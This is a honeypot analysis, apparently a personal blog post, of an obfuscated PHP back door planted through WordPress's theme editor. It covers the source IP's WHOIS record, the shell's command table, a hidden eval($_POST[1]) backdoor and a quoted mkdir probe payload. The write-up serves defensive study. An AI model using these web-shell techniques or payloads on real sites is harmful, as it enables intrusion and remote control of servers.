A small (53 lines pretty-printed) PHP back door suitable for automated access, but has enough features for a human to get by using it.
inetnum: 118.184.0.0 - 118.184.63.255
netname: ANCHNET
descr: Shanghai Anchnet Network Technology Stock Co.,Ltd
country: CN
mnt-irt: IRT-CNISP-CN
last-modified: 2017-12-11T03:07:27Z
Right now (October 2018), this IP address has a very dodgy internet reputation.
118.184.47.13 has made 3070 HTTP requests of my server between 2018-08-29 and 2018-10-13. No pattern in either hour-of-the-day or date access appears readily.
This shiny nugget got sent to my WordPress honey pot
via an invocation of WordPress' theme editor.
It was supposed to update the 404.php
file of the "Twentytwelve" theme.
Running the PHP source through my deobfuscator yeilds some reasonably understandable code.
The obfuscation went to some lengths to avoid string literals of PHP builtins, only explicitly calling "echo" and "exit". All other function calls get called indirectly, with name strings composed from reversed strings concatenated from 2-3 character substrings.
After a little bit of preliminary de-obfuscation,
the code calls eval($_POST[1]);
,
a bonus backdoor for whoever wrote this shiny bauble.
I have seen a few HTTP requests for 404.php
URLs with
parameters named "1".
My honey pot caught just such a backdoor
on 2018-11-22.
Coincidentally, that backdoor would have ended up in twentytwell/404.php
,
and it was downloaded from the same IP address as this one.
PHP source code goes on to perform a single action based on the contents of an HTTP GET request paramenter named "act".
act value |
Action taken |
---|---|
dl | Download - from whereever to compromised WordPress host if file_get_contents() can get URLs |
ul | Upload - from invoker |
rn | Rename a file |
gp | Give back directory name where web shell/backdoor resides |
lp | Listing of a directory's contents |
df | Show a file's contents |
The use of PHP Superglobals $_GET
and $_POST
seems off.
The value of HTTP parameter "act" gets read from $_GET['act']
,
but any additional values (from-name and to-name of a file rename)
get read from $_POST
.
There's an explicit check if ($_SERVER['REQUEST_METHOD'] == 'POST') {
for most of the actions to actually perform their work.
It's pretty hard to just type in a URL and have it work,
despite the use of $_GET
.
You have to either invoke this backdoor from a <FORM>
or go to extra work to have wget
do a POST on a
GET-style URL.
I've provided a grab bag of such 404.php
invocations.
Most of them appear to be access verification:
echo "xiaoyaoyu";
which is weird, or
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$m=get_magic_quotes_gpc();
$f=$m?stripslashes($_POST["z1"]):$_POST["z1"];
echo(mkdir($f)?"1":"0");;
echo("|<-");
die();
The value of HTTP parameter "z1" was "SCRIPT_FILENAMEZ::wp-includes/" for that invocation.